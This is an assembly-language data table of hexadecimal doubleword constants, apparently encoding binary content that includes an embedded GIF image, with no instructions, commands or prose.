dd 85387FBFh, 4CC4AC2Dh, 2C55454Ch, 0AABAB144h, 87ACC44Eh
dd 307EB2DBh, 53851C5h, 54449BB1h, 72AD435Ch, 434B1F43h
dd 5E327A83h, 0D4604224h, 2853CC30h, 2240FB4Dh, 44654644h
dd 0C3328442h, 85B94B9Eh, 7AAD06D2h, 2AF2D2C5h, 53179C47h
dd 4303B44h, 0C37C4B44h, 5EC60AACh, 0FEB72FC4h, 2320392Ah
dd 0A84C3446h, 62C5FB90h, 27FC664h, 0BFCC5F47h, 84476422h
dd 0EAACC692h, 0BF41A0C4h, 6D05AAAEh, 3C6CBB58h, 0C76C5C85h
dd 3AC1740Bh, 0B418379Bh, 0B48480B3h, 0C4352432h, 3C0DC033h
dd 0BAAB9434h, 343473C3h, 0BB79B7E3h, 40434FBDh, 0A5B39B02h
dd 5BA948BBh, 34C47635h
dd 1B6A3E3h, 64903664h, 400C17C8h, 0FE411C18h, 0D373482Bh
dd 0C8BC8F3Fh, 16B9FC04h, 0A27E465Ch, 3D02BA47h, 45ACB2D1h
dd 205AAB54h, 8588DE86h, 80C6E420h, 639BBCDAh, 3E7496C0h
dd 0EA3BDBE5h, 24A43CA3h, 0BB93EB48h, 93B963EDh, 7BE839F4h
dd 0BC6B93BEh, 9138F3DDh, 3BA7490Ch, 0BC13A346h, 0BE499C96h
dd 4BA34073h, 3EBC1037h, 43409CA8h, 13E03A9Bh, 47AA6F28h
dd 1C275C9Ch, 0D4462350h, 85F85AAAh, 0A13FA85Fh, 839AB0D4h
dd 0B584A64Ah, 724883EFh, 0F343CB0Bh, 34DCA94Ah, 50CA6B9Eh
dd 0B0FE395Bh, 0EBB94AA4h, 0B9B3C9CBh, 0AFCC13C0h, 0FC784CACh
dd 463BBCCBh, 11B91CC3h, 2B34CC14h, 0CAB3C8B5h, 0BBBCB3BFh
dd 0F4B6C993h, 0B9939AB6h, 0B7AA3280h, 0AAA6C9BCh, 0C7BC1AACh
dd 0FB4BB4BAh, 44A1CBDBh, 3254CC4Ah, 0A3B9F472h, 0C154684h
dd 0CC5488BCh, 0DECBF3CCh, 84DE4B3Ch, 4E3BE5BCh, 0E1B24BA0h
dd 4BCB4CCCh, 0CDCCE447h, 0A4B69CC1h, 0CC91BB8Bh, 3C93CDB7h
dd 5E3EA37Fh, 8C574D6Ch, 44F2E0CBh, 0A00592B0h, 6332C31Ch
dd 4A9368CCh, 0B4CADBE0h, 3CF5C62Ch, 4F44E141h, 0C2C834EDh
dd 44E23703h, 0BBD3DFCDh, 0E0BE44A5h, 4C75BECBh, 3C040237h
dd 0DC4AE4F5h, 7BC94B13h, 0BED4F94Ah, 0CB3FF4D2h, 3C133E44h
dd 469C27C7h, 0B9A554F0h, 7ACD4D94h, 481BEDD0h, 93392472h
dd 0E485C0F4h, 0C8E473D0h, 0FDCAF486h, 0E50C3013h, 4074A9CFh
dd 14B1EB3Ch, 24B2D02Ch, 513400C1h, 0B7C81321h, 924EFEC3h
dd 2D16C0DCh, 0C114943Eh, 73C9936Fh, 44984DEBh, 0C13495D1h
dd 0B127EBCAh, 7CB82A68h, 1EB49CCDh, 772E650Bh, 0A527ACFCh
dd 455B00C9h, 13427435h, 1D24BAC9h, 429D25ABh, 28AE5458h
dd 852FACE5h, 0ADDC66D0h, 3252A27Bh, 89A327F4h, 0C19C56A7h
dd 6AD26509h, 5D385334h, 0D38D32C5h, 0C8257283h, 7BCFAEF0h
dd 0A763ADCDh, 3F53A537h, 0FD39C42Dh, 3852C6D3h, 4149DBD1h
dd 4AF0543Dh, 2C854429h, 3EA92D42h, 0A5192DD5h, 0CDBC7330h
dd 32475D30h, 3D1AD4ACh, 0C63510D3h, 77B0DC72h, 0C545D4C2h
dd 35BD3D3Ah, 4847C547h, 7287C795h, 0AAB46742h, 8AB7C61h
dd 0BCDBD314h, 0D4FA7E54h, 46AC7550h, 7D2EA34Dh, 0C89B3A2Ch
dd 8F350358h, 9D20B524h, 0CE5D1F51h, 1136DC83h, 43E8D1BDh
dd 0C84415C8h, 11CD03FFh, 0CB4F51F5h, 568C0E40h, 9C4C2D65h
dd 6D62351Bh, 337C80B5h, 5040386Ah, 8655ADFEh, 353E55BAh
dd 50F2C755h, 0E23A7506h, 0CCB54C74h, 4AC3C750h, 8C501CC7h
dd 6BE5CC9Ch, 0CF94BFB7h, 744E74AAh, 74EDD14Dh, 0B714ABCFh
dd 7956ED6Eh, 0AB55705h, 0D4357154h, 954ECAC8h, 9575CD33h
dd 4C257A4Ch, 0EBCE2CC6h, 0ACD156A4h, 0CE34CA57h, 833A64C6h
dd 54CAD13Ch, 4C83AA3Ah, 883B9CCEh, 930C347Ch, 4FB56E8Bh
dd 822B5D81h, 4D523F2Dh, 583D26A3h, 4CCD24E1h, 44EAD755h
dd 0CB63C24Eh, 7CCE94E3h, 1D7DCE0Dh, 505CF6CBh, 0A5BC9CEAh
dd 0ACE9C85Ch, 35957ED9h, 93CE5D92h, 0CBCED81Dh, 0D2D87DBAh
dd 27596A55h, 64C0CB2Bh, 0CB5D77D7h, 0E9369CFAh, 857BD993h
dd 0BEED7AD7h, 0F05AA5AAh, 4CE55123h, 5ACCB04Eh, 0FBDAB507h
dd 0FDA0D7FAh, 2835A4D6h, 0BC5A6AC2h, 1D0BCBA2h, 0D17D5E40h
dd 0BB55FD6Dh, 848CCFA5h, 578CCED6h, 7D569DB1h, 0BC97C94Dh
dd 0BC65BE40h, 0FED22573h, 79506D8Ch, 250FD66Bh, 372C005Ch
dd 80358DC2h, 6C77D685h, 2A6D095Bh, 0A84F0DB8h, 75B62CDDh
dd 472DCEA8h, 0B95CFABFh, 0FDCB5922h, 0D2DDB7ABh, 0BDCDAC4h
dd 0ED672BE5h, 300DD12Ah, 965323A0h, 3ABEDD2Ah, 5D52D95Dh
dd 0C6DDCDDAh, 9DDD5D22h, 0DCD5DB2Bh, 0E15DED47h, 0FD3A5E1Dh
dd 5B949D5Dh, 0E55E4DE2h, 8DE3455Dh, 5E5DE0CDh, 355E8DE8h
dd 987C9C34h, 0B8582F07h, 0A34D9429h, 0EDEE5E92h, 0C692F05Eh
dd 1C079879h, 12C4DEC0h, 79A0D81h, 0F55F4DEFh, 0B5F02E4Dh
dd 5F34F0DEh, 0F95F5986h, 5540A7D5h, 2F0DFAC5h, 34076DF0h
dd 3802A920h, 0DED879BFh, 0D9E00DF9h, 95FBD38Dh, 280602ACh
dd 7687CA6Fh, 0BD42DEB8h, 4D98761Eh, 3A7EE01h, 3609D45Eh
dd 0AC760AC4h, 0D627D60Bh, 1E050684h, 0D8335C5Fh, 0CA81E08h
dd 8E12610Eh, 0E04A84A7h, 0B9DF2605h, 2DF4276Ch, 611A8161h
dd 61FE8E17h, 0F08685B7h, 1A0C5FDDh, 607A0D00h, 1E61DE19h
dd 2D23AAE6h, 0AC39EA27h, 1EDE7DA7h, 5623622Eh, 0AA6D2BA8h
dd 0BC8E3620h, 7E23E082h, 5FA62862h, 6753528Ah, 25371348h
dd 62CE28D7h, 3B257E2Dh, 619E27ADh, 0A574BA62h, 2D631E2Dh
dd 0FA52A576h, 0B8552E2h, 23635E32h, 1952294Eh, 99E97EA3h
dd 0F274626h, 0BE36624Ah, 0E3760163h, 0B420A26Fh, 0A5376258h
dd 28CE3A2Eh, 0E41E3Ch, 0A1E863D6h, 1C506D06h, 0F496AE3Fh
dd 20F8E40Ah, 5F5E4864h, 9D8F85DEh, 713520B1h, 1526400Bh
dd 48E3B238h, 9DE864EEh, 64A86364h, 4CE4662Bh, 0F647A5AEh
dd 5E5E5464h, 54E51650h, 0A6356521h, 654E538Fh, 55DE1659h
dd 0FE51A0AEh, 65865297h, 5E659E4Eh, 665ADB6Eh, 0E5C65691h
dd 5EE4DE57h, 0FDCB662Eh, 0E4BE38E5h, 5DE47313h, 3E676636h
dd 63466454h, 67E66657h, 9E0A66AEh, 0E5B64A5Dh, 8F5EFE60h
dd 6B66265Ch, 8D3F66FEh, 95564B66h, 58E4D665h, 96746706h
dd 650E6C53h, 6E17F66Dh, 4E73E61Eh, 44BE7967h, 77E5BE71h
dd 0CE79E6A6h, 675E0B67h, 4C677656h, 0D666E786h, 0AEFE8167h
dd 7FE6DE7Ah, 4E81E7C6h, 0E7E544E8h, 7B99EE76h, 9680E736h
dd 689873ABh, 8B68AE8Ah, 68C68BEh, 68DE8D09h, 8F68EE8Eh
dd 0E9068FEh, 691E9169h, 93692E92h, 4E94693Eh, 68989069h
dd 9568AA7Ch, 8E98697Eh, 699E9969h, 93E9AE9Ah, 2AABE966h
dd 672E7F68h, 0B8E88E53h, 7A8BE89Ah, 6A1EA117h, 8B87895Eh
dd 9E96873Ah, 6A2072E8h, 2B6A6EA6h, 0B69C6A31h, 0E8769D2Ah
dd 0C0E88683h, 0D06C873Ah, 86A07C07h, 0AF050855h, 0EB06AFEh
dd 8506AF6Bh, 0B36B2050h, 3EB46B2Eh, 6B4EB56Bh, 0B76B5EB6h
dd 7EB86B6Eh, 6B8EB96Bh, 0BB6B9EBAh, 0BEBC6BAEh, 6B16BBEBh
dd 55EB06BEh, 0F87C06A0h, 9086A87h, 0EAC278FEh, 0AE07B878h
dd 5EC504F6h, 6C6EC66Ch, 0C86C7EC7h, 9EC96C8Eh, 6CAECA6Ch
dd 0CC6CBECBh, 0DECD6CCEh, 7C6BFECh, 0A406A07Dh, 68669CEh
dd 646E9DE6h, 6CAC06ABh, 587C0788h, 5C05385h, 0D86D7ED7h
dd 9ED96D8Eh, 6DAEDA6Dh, 0DC6DBEDBh, 0DEDD6DCEh, 6DEEDE6Dh
dd 0D76DFEDFh, 0C0558546h, 0ED087887h, 72873A57h, 0F05587B8h
dd 0EC386A04h, 0E86E787Bh, 9EE96E8Eh, 6EAEEA6Eh, 0EC6EBEEBh
dd 0DEED6ECEh, 6EEEEE6Eh, 0EEEEFEEFh, 184F6A36h, 6C2078EEh
dd 64ED1EA9h, 0EED36726h, 7FEABE9h, 0D76D686Ah, 9EF905EEh
dd 6FAEFA6Fh, 0FC6FBEFBh, 0DEFD6FCEh, 6FEEFE6Fh, 6FFEFFh
dd 0F01700Fh, 546D7F0h, 96AF686Ah, 0C04F6C46h, 72F0607h
dd 8707F07h, 9F09708Fh, 70AF0A70h, 0C70BF0Bh, 0DF0D70CFh
dd 70EF0E70h, 670EF0Fh, 0FEE607C7h, 0AAAEF307h, 0F5E656A9h
dd 5EF6E5D6h, 0FE7ED705h, 7936086h, 19718F18h, 0AF1A719Fh
dd 71BF1B71h, 1D71CF1Ch, 0EF1E71DFh, 71FF1F71h, 73F1EF20h
dd 706786E0h, 0F04055EDh, 307BEC2h, 6F0FEAD7h, 727F2772h
dd 29728F28h, 0F70B729Fh, 5406A6Ch, 13AAC712h, 8E6EEF57h
dd 73ABE67h, 5C05407Dh, 0B87F85E8h, 73387887h, 35734F34h
dd 6F36735Fh, 737F3773h
dd 39738F38h, 0AF3A739Fh, 73BF3B73h, 7F87BF3Bh, 0C05C05E8h
dd 891712F2h, 5087B873h, 36C08728h, 743F3C73h, 45744F44h
dd 6F46745Fh, 73D73674h, 5087287Ch, 26D172C8h, 6D266C95h
dd 1569E6AAh, 432DAC07h, 0F3205B85h, 0ECF508EDh, 4F3F73E0h
dd 73D741F0h, 0EAF54F51h, 0A74907B8h, 74B6F3F4h, 1474C676h
dd 869F72EFh, 74F7302Bh, 8AF50h, 0FF5D8850h, 885F5E87h
dd 4884F5Fh, 7618C13h, 76088776h, 81B03081h, 2F64F650h
dd 0F67765B0h, 5B85E88Ah, 0D6C2F528h, 8FFE4187h, 7647660Dh
dd 6D088762h, 376E883Fh, 0F3FF568Ch, 69F2DA88h, 0BABFED3Eh
dd 5C05BF5h, 7668C6E2h, 380068B7h, 0F7677787h, 77776F78h
dd 0AF7877A7h, 77B779E8h, 8A77DF7Dh, 0C77CF79Eh, 0F76F7FE8h
dd 7BF7F77Fh, 2777E89Fh, 0F7E78278h, 5C6D568Ah, 1F577698h
dd 850F3018h, 2A6E2703h, 88007287h, 0F8AF8BF0h, 0D78CF0Fh
dd 0F70B78E7h, 70F78D78h, 49EF76D5h, 22887717h, 68466177h
dd 17F5BABFh, 107387BBh, 798F9807h, 99F99F99h, 0B0710007h
dd 0B03798F9h, 9BB02F9Bh, 0C79879EFh, 0F9D79D79h, 9CF9C79Dh
dd 0E79B79A7h, 79EF9F79h, 9FFA5FA2h, 6FA3FA47h, 0F9FFA27Ah
dd 0A1FA7FA2h, 0AFAB7AAFh, 0FA37A17Ah, 0A57AA7A4h, 0FF9A7A2Fh
dd 0F40F99FAh, 6A05685Bh, 96ACA57Fh, 790F32F8h, 4F8F727h
dd 73037073h, 0FB6707FBh, 0B6872FB8h, 87B7FBA7h, 0FBBF8CFBh
dd 0BB7BBFBAh, 2FBD7BCFh, 0E7B8FEB0h, 70F7B57Bh, 9286A73Dh
dd 96F472D7h, 0F73794E6h, 5407FF95h, 285B8568h, 0FC9FB06Eh
dd 0AEFAF7A9h, 0A7CC7CBFh, 7997A67Ah, 0A97A6FA4h, 0F7A07A67h
dd 0FA3FAE79h, 0CB7A97D0h, 0BFD37D27h, 7CAFD07Ch, 0ADFD1FB0h
dd 7CA7D7Fh, 878873FBh, 737B2FB1h, 8F03F6B2h, 0B887287h
dd 0DF7DEFDEh, 0FE07DFFh, 7E0FEh, 0DF7E27DEh, 0FFE37E27h
dd 7E48B8D7h, 0E57E5FE4h, 0DB02FE57h, 7E97E609h, 0E9FEA7E7h
dd 0BFE9FE7Fh, 7EDFE17Eh, 0B8FEEFEEh, 20788728h, 2AA787F9h
dd 0F6687F94h, 8730F4E6h, 871078FCh, 0F77F686Fh, 7FF87F7Fh
dd 0FF70007Fh, 0FA86FFF9h, 0AFF6FFA7h, 0FFBFF9FFh, 0FCFFB304h
dd 0F8807FEFh, 207026h, 1E0D0200h, 9BF0884Ch, 90C86C1h
dd 30787416h, 118642E2h, 887C6213h, 8244A290h, 0C3E3F03h
dd 0C5A3D1A9h, 0A24F2082h, 0DE2E26FCh, 0FEA8532Dh, 73268365h
dd 0A17D3666h, 8BFDA8FEh, 0CF1A8E57h, 27F3E9Eh, 68742A0Dh
dd 8D3D0050h, 0D3C88D1Eh, 4EA3D228h, 4A75329Bh, 0A854AA0Dh
dd 0B502A714h, 0D12A94AAh, 0FABF5EAEh, 1FEF172Ch, 673050B5h
dd 76AB4DA2h, 0D499DB2Dh, 6685BDA0h, 6AB318CDh, 23399CD5h
dd 1A9D6FB6h, 10BC5418h, 0C9E56020h, 0F2ED3113h, 0CCAB8B55h
dd 8EB6B298h, 0AC8E431Fh, 543E9CF6h, 13C95AA6h, 0E7336DC7h
dd 733B9ECEh, 0F3C00CDCh, 47A56E68h, 5A8CE69Fh, 0ABD6E7F4h
dd 0CD8E9B59h, 0D9EA757Ah, 0BECB5BAAh, 6D763B0Dh, 0FB41BEDDh
dd 377B9D7Eh, 0E4E2DC6Eh, 367972B5h, 0A17FB66Dh, 96A4E57Eh
dd 0EAF53A6Dh, 0CF63AFD6h, 803B3DAEh, 53BDDDE9h, 7BFDDEFFh
dd 0C7E4F2F8h, 3E76CF97h, 0E4EAFAFDh, 0DEB7ABD3h, 0FAFD3B7Eh
dd 1B53A9F6h, 4C6CCBFBh, 0BED5FEC9h, 755CD715h, 5ED795DDh
dd 0D815FD7Dh, 961D8560h, 358B4C98h, 13849FF6h, 0FE9945B6h
dd 5668AD65h, 0DDA5715Ch, 1E6BE1C6h, 6C9056EAh, 5A86FE20h
dd 46EE1C6Fh, 0E2488A2h, 206E6287h, 70E2F89Eh, 0E1D8C1C4h
dd 267E1A6Fh, 0F52F724Eh, 37735687h, 2FCE53FDh, 0A4591243h
dd 99224791h, 24A92A4h, 4E936430h, 9364F912h, 2559464Fh
dd 0F9565395h, 6E5995CBh, 5D976509h, 9426196Ah, 0A659924Bh
dd 43964699h, 4A147F16h, 34CA018h, 5E9785DAh, 9805F97Ch
dd 86198460h, 0B18C6298h, 169B27D9h, 8E21965Eh, 9A78B99Fh
dd 8709A688h, 8A888AE2h, 11682876h, 6928A6CDh, 68F6D225h
dd 76AA93A1h, 428EA6A8h, 9DA668CAh, 87A88A76h, 0E39A0E8Eh
dd 75A1CB8Eh, 9538738Eh, 0AF99CD93h, 44646AC2h, 0E4E41645h
dd 3ACA63ACh, 651496EBh, 5A952B69h, 0AFAB594Ah, 0E57B06B4h
dd 7B22B1ADh, 96693666h, 7E39CFF5h, 5CA6E64Ah, 2069C574h
dd 0C9DE099Dh, 0F20F9EA0h, 91B7AD09h, 61FE8A01h, 5B92E3A9h
dd 122E8E2Eh, 0EBBAAE67h, 0A96EDBB2h, 6CF72A3Ah, 9902AA5Ah
dd 0E2C9350Dh, 0BF926F9Bh, 0BEAFC99Eh, 0F01C02FFh, 0E9A9D22Fh
dd 498FB7ECh, 7381670Bh, 82E76822h, 0D083A79h, 0CC530784h
dd 98ABAA96h, 0B82DCA62h, 0C7B1D33Ch, 0B21C831Fh, 5C9323C8h
dd 31DC9B2h, 27CA7210h, 0CBB2DCB3h, 731CC32Fh, 64B4B8C8h
dd 0CF062ACAh, 0BF2A0FFBh, 0CFB3D3C4h, 0B41D033Fh, 5D1343D0h
dd 173ED1B4h, 0D0B474h, 0D3B4DD28h, 751D434Fh, 24BCBFD1h
dd 0C200C56Fh, 0BB526F5h, 82A7581Fh, 67B83678h, 0AD935784h
dd 64A2352Ah, 6B2DCADCh, 0DBB6DDB3h, 0B71DC36Fh, 5DD373DCh
dd 0E377DDB7h, 7BDEB79Dh, 299C9DEBh, 3564E0A2h, 9279644Dh
dd 0C787D49Fh, 8BE28F73h, 0E338DE33h, 0B91E4388h, 4D4393E4h
dd 92A8E14Dh, 0D3D656EDh, 0D7672812h, 361C3ED8h, 4E6763B7h
dd 0E0F139F1h, 19DA0AB3h, 0BADEFEB3h, 1EC3AFEBh, 0D3B3ECBBh
dd 0B7EDBB5Eh, 0EEBB9EE3h, 0B19EF3BBh, 13E0AB28h, 9D32E08Fh
dd 0AB3FCF63h, 0E5162278h, 0BCDF33CBh, 5D47CFF3h, 0C737278Eh
dd 59E963D3h, 0E7B5B80Bh, 0F60C3AD7h, 7B7712B6h, 50E7C1FDh
dd 0D43E0FA3h, 0FA8A12ACh, 0BEDFB3EBh, 1FB8A0FAh, 0D3F3FCBFh
dd 0F7FDBF5Fh, 0FEBF9FE3h, 0FF0FE7FBh, 350ABFEh, 0C6A0FA1Fh
dd 8E71A0F0h, 7905909Ah, 320589Eh, 7C0E81Bh, 12823042h
dd 2B05209Ch, 620BC168h, 0DC1A8330h, 0A80106E0h, 0A3647B8Fh
dd 984B6480h, 0B0D5ACF6h, 622B69AFh, 0F8DF1313h, 7D0E580Eh
dd 321FE3E8h, 6B0C07FCh, 0E21BC368h, 0DC3A8730h, 0E87B0F21h
dd 31021FC3h, 221C4288h, 43387D11h, 55A3EA1Ah, 12E028E7h
dd 1AB8B597h, 528A2E3Ah, 0AB15229Ch, 6222B8C8h, 3C468B31h
dd 38BB1722h, 51622D43h, 1ABC2289h, 42673B09h, 620B65AFh
dd 0B616362h, 9D380FFEh, 3EF1BA25h, 1D239C72h, 381DB8EBh
dd 7A8F31E2h, 0FB1F23DCh, 23FC7E8h, 9C819032h, 690B208Ch
dd 0D13643C8h, 245C8A8Eh, 0C8E91B23h, 8D91E610h, 0C316AC65h
dd 0EFBA18D0h, 9A8D90ADh, 3B2724DCh, 824FC9E9h, 1CA29432h
dd 32D72925h, 0F71AE49h, 5D1C6A85h, 0CAE95B29h, 9632C257h
dd 2D259CB2h, 0EDCA7939h, 0A28D309Dh, 6AE91F03h, 25FCBE9h
dd 1CC29833h, 74293126h, 0A82633CBh, 0C1986A00h, 8EB0C40Ch
dd 1AC35C7Ah, 320648D4h, 680C99AAh, 0DA9B25E0h, 0BB3726DCh
dd 826FCDE9h, 1CE29C33h, 69CB3927h, 33A273CEh, 275CEA9Dh
dd 0CEE9DB3Bh, 98B38A77h, 34E514F2h, 0B78DA264h, 581E03D8h
dd 7619C338h, 70028080h, 30220661h, 0D1B03F4Ch, 0C3406B0Dh
dd 0E5E8C818h, 0D0EA1B3Ch, 0A2344287h, 3550A512h, 7C93D264h
dd 3B0E63CCh, 0A1A81E8h, 882B0050h, 0E8EDA060h, 0FE0E3747h
dd 50C6B12Ah, 5D13A103h, 0E2C12FA9h, 34C297D2h, 299D32A6h
dd 0D36A6B4Dh, 0A734E29Bh, 3569AD3Ah, 1B862A30h, 807A19Ch
dd 60160040h, 983F8300h, 0F0DD1F03h, 81C03586h, 0B3DC648Ch
dd 2A98E0A9h, 0D56AAB55h, 0AB3562ABh, 572ADD5Ah, 0AFD5EABBh
dd 62AC3582h, 0CB592B1Dh, 0A2B3D66Ah, 5D6AAD35h, 0EADB5B2Bh
dd 0B5C2B7D6h, 8E9170ABh
dd 0D4AEA36h, 6F4F870h, 50C33827h, 1D04F077h, 0F61961FCh
dd 0A8312948h, 64620C99h, 58C41AC3h, 0EB1B632Ch, 3642C7D8h
dd 2C9D92B2h, 0D96B2B65h, 0B33662CBh, 672CDD9Ah, 0CFD9EB3Bh
dd 0A2B43682h, 4B692D1Dh, 0A2D3DA6Bh, 58D9B336h, 962433ACh
dd 808A9FCFh, 34009AFh, 0F31969Eh, 192380B8h, 3C2A8D50h
dd 0DFDBEB7Bh, 0BFB83702h, 8B712BADh, 22E3DC6Bh, 5DCAB937h
dd 0EB9B732Eh, 3742E7DCh, 2E10DABAh, 0DD6BAB75h, 3A4802EAh
dd 3806D0CEh, 0CFEA194h, 0C439878h, 5F01807Bh, 3A05E00Dh
dd 0F31CD334h, 0E1454BB0h, 5C6B0D62h, 9DF2A763h, 6BEB7D2Fh
dd 37E2FBDFh, 2FDDFABFh, 5FEBFB7Fh, 0BD97B29Ah, 35AA58D7h
dd 698D31AAh, 0EB1E6330h, 0FC0CE9F8h, 0DC398039h, 988206E0h
dd 31AF4147h, 0B80C6A8Dh, 0C6C0D81Bh, 0E1EC3A35h, 0C438830Fh
dd 89311E22h, 13E26C4Bh, 2AC538A3h, 5B8B315Eh, 0C317E2ECh
dd 9E32C638h, 6C6B8D31h, 38E31BE3h, 0F11E3AC7h, 61BC3B86h
dd 1AF86A83h, 3E479976h, 268821DAh, 30E6160h, 0AC168018h
dd 8C410560h, 0E8F41FA3h, 0DCAA3D47h, 39632B8Fh, 32DE5ACBh
dd 0E5ECBB97h, 0CC39832Fh, 99331E62h, 33E66CCBh, 6ACD39A3h
dd 0DB9B335Eh, 0C337E6ECh, 9E72CE39h, 5CDD9D33h, 2087565h
dd 0C2E0560Bh, 85E01000h, 182136A0h, 3AC770EEh, 798ED1D0h
dd 8AD123BCh, 1BA3345Eh, 4347E8EDh, 9E92D23Ah, 6D2BA534h
dd 634BFEE9h, 0DE9AD33Ah, 0ED3BA734h, 3A834FE9h, 351EA2D4h
dd 0EA6D4BA9h, 0D523B749h, 3CF556AAh, 778E81D0h, 37183AB4h
dd 0AC19C2A0h, 0F4040040h, 38760C00h, 809A1EC1h, 20EC1D83h
dd 42683907h, 3B07213h, 0D93B2362h, 0B3365ECAh, 67ECED9Bh
dd 0D2DA3B43h, 0ABB5369Eh, 636BED6Dh, 0DEDADB3Bh, 0EDBBB736h
dd 3B836FEDh, 371EE2DCh, 858D9DB9h, 0DCFBA373h, 0DC1D84Dh
dd 0F04D0D0h, 1B1081A0h, 241803B0h, 68078070h, 0D03A0840h
dd 0F0661081h, 81082157h, 82A0220Ah, 0F060C1BEh, 0E13C2383h
dd 0C3385F0Ah, 87F0EE1Bh, 12E23C43h, 2BC5389Fh, 638BF16Eh
dd 0DF1AE33Ch, 0EE3BC738h, 3C838FF1h, 0B91F22E4h, 6FAE01C4h
dd 0CE1837Eh, 1D810860h, 0D03A05Ah, 3701E034h, 6809C300h
dd 0E80D822Eh, 1521A8C0h, 6E720C01h, 3D039FD4h, 3A1F42E8h
dd 0F46E8BD1h, 0E93D23A3h, 0D33A5F4Ah, 0A7F4EE9Bh, 0EA3D43ECh
dd 0D53A9F52h, 0ABF56EABh, 5AEB3D63h, 9D13ADFh, 8BA084F3h
dd 3842DF40h, 70340683h, 0F81D02h, 8030790Ch, 85A0E000h
dd 0FE1FC39h, 0B0034073h, 2F0680D1h, 760F3DD0h, 0FBDF3BDFh
dd 3BFF7EEh, 1F82F03Eh, 6F0BE13Ch, 3E23C3F8h, 3C5F8AF1h
dd 0F8EF1BE3h, 0F23E43C7h, 0E53C9F92h, 0CBF96F2Bh, 0E9DD3E07h
dd 0BDB03BA6h, 803CF730h, 8700B5Eh, 4C960040h, 0D92C0280h
dd 37AA00h, 805007EAh, 0F6347A7Fh, 0ED3D9FB2h, 0DBFB6F6Bh
dd 0BAF73EE3h, 7BEF3DDFh, 3DFFBEFh, 1FC2F83Fh, 6F8BF13Eh
dd 3F23E3FCh, 3E5FCAF9h, 0FB6F9BF3h, 0F65F40C0h, 0E7FD43h
dd 1FACF4Eh, 0DA133E90h, 0BBF73EDFh, 83EFFDEFh, 1FE2FC3Fh
dd 6FCBF93Fh, 3FA3F3FEh, 3F5FEAFDh, 0FEEFDBFBh, 0FE3FC3F7h
dd 0FD3F9FF2h, 0FBFF6FEBh, 1FCBFE3h, 3B0001h, 38464947h
dd 11D6137h, 0FCE70118h, 10000h, 9090205h, 6000002h, 403130Ah
dd 180D0311h, 0A020003h, 22005h, 2F000035h, 0D110003h
dd 0D100700h, 450E0F14h, 4410003h, 0A004F06h, 1309171Ah
dd 55E1619h, 10037304h, 1D1A1B1Fh, 1F15211Ch, 231B2320h
dd 8B080674h, 940300h, 1D173D00h, 861C1A34h, 8820107h
dd 200A106h, 551E251Ch, 0AC1515h, 0B00AC01h, 0A50C03A4h
dd 21390004h, 0B624h, 0B72C2628h, 272A0700h, 1A1F4A26h
dd 34100B92h, 186D2825h, 0C511h, 0C51D2F1Eh, 0CD0700h
dd 0CF03h, 0CC0400CEh, 1C70C00h, 400CF11h, 51170CA1h, 1D11425h
dd 100D906h, 0D20A00D8h, 9BD0003h, 7C803h, 0D21A178Bh
dd 0E41003h, 0CBF00h, 4B170BBDh, 9D42D2Eh, 37382D09h, 3E373636h
dd 13C03E33h, 190ADF0Fh, 0A70E13CDh, 15C1261Dh, 1E1BB129h
dd 8E2A2A7Ch, 25962428h, 22259F2Ch, 461D15D8h, 1BD14340h
dd 43433D19h, 0DC263679h, 4932181Bh, 273E6246h, 5332377Bh
dd 20D52C45h, 3B3B7423h, 47414554h, 48525048h, 44455D3Ch
dd 9F2B26D8h, 32BA3938h, 3628DC36h, 0D53B3C99h, 544D2B2Fh
dd 53525953h, 783332D7h, 3CB94A4Dh, 4B4C9440h, 0D85D5A64h
dd 61523C3Bh, 4C47AF5Ch, 0DC4338EAh, 6060383Eh, 403FDF60h
dd 0DC6C6167h, 53AE4543h, 535D8D53h, 834F45E9h, 4BDE5863h
dd 6564854Eh, 0DC52668Dh, 73584F51h, 6E6F7088h, 6A897260h
dd 6F7B6E73h, 64756B6Dh, 0A35955E0h, 5BCA6A66h, 585DC968h
dd 5F5A5CCFh, 5ADD8F7Ah, 6868B959h, 0E16969C5h, 836C6563h
dd 7F807F93h, 6CB8913Eh, 70E59C87h, 716EEC71h, 899D8D76h
dd 7BCB888Bh, 0FF944E79h, 907776E4h, 7AE08E8Fh, 0FD985679h
dd 79A7967Fh, 0A06AC596h, 0FD9E62B8h, 988483E7h, 9C8F979Ah
dd 858ECBAAh, 0A0FFA56Dh, 90EA9FA2h, 0A4A7A591h, 7B9697EAh
dd 0AB9FFEAEh, 0A1A1ECB8h, 0E8FFB886h, 0ADD9A4A6h, 0B3B7B5A7h
dd 0B9FFC17Fh, 0ADF0B8BBh, 0FFC096ABh, 0FAB5B3F0h, 0C7A5ADB6h
dd 0C6C6C3FFh, 0F2C5C3D5h, 0CEB1BCBCh, 0C1C4F3FFh, 0F3FCD6B3h
dd 0D7D5CDCBh, 0FFD8C4D4h, 0F7E1D9D0h, 0DACBD2D1h, 0D2D5ECFCh
dd 0D4FDDEC2h, 0D4FAE5DCh, 0D8D9F8D5h, 0DFE3E1DBh, 0E4D6DEE1h
dd 0EAE2D9DEh, 0E2FFE6CAh, 0E3E5E1E4h, 0E2E3E8E7h, 0E0FAE6D6h
dd 0E2E9E7E5h, 0EEE4E3EEh, 0DAEFE6DEh, 0E6E4F5E7h, 0DEE1F8E3h
dd 0E5DDE8E2h, 0E7E2E4E7h, 0D9E4F7F7h, 0EEE5E8E6h, 0EAE5D9E7h
dd 0E0E8F0ECh, 0E3E8E6FBh, 0F2D4F4ECh, 0EAEDEBEFh, 0E6EBEAF6h
dd 0EFEAF8EFh, 0F3F0EBF1h, 0F3E7EEF7h, 0EFFCE8F2h, 0F0F3F1F0h
dd 0EFFCF4EBh, 0F7F2F7F4h, 0F4F5FBFAh, 0FCF0FFE8h, 0FCF6F2FBh
dd 0F9FAFFFEh, 0F0F8FCF9h, 0FFF5FFFFh, 0FFFCFEFAh, 0FCFFFEF9h
dd 0FFFEFBFEh, 2CFCh, 11D0000h, 8000118h, 80100FEh, 0A0B0481Ch
dd 130883C1h, 0B0C85C2Ah, 1087C3A1h, 489C4A23h, 8BC5A2B1h
dd 90FC7F0Ah, 8EE3B1C1h, 8A43208Fh, 0A4B2491Ch, 532893C9h
dd 0B2C95CAAh, 3097CBA5h, 58FCCA63h, 1EC886A3h, 6CE27338h
dd 8EE7B359h, 0A864309Ah, 651D810h, 93489E8Ch, 0B4CA5D2Ah
dd 50A7D3A9h, 4A9D4AA3h, 0ABD5AAB5h, 0F52EB358h, 0D707D351h
dd 88603E1Ah, 0AAB62B1Dh, 895EB3D7h, 0B02100C8h, 70B2526Ch
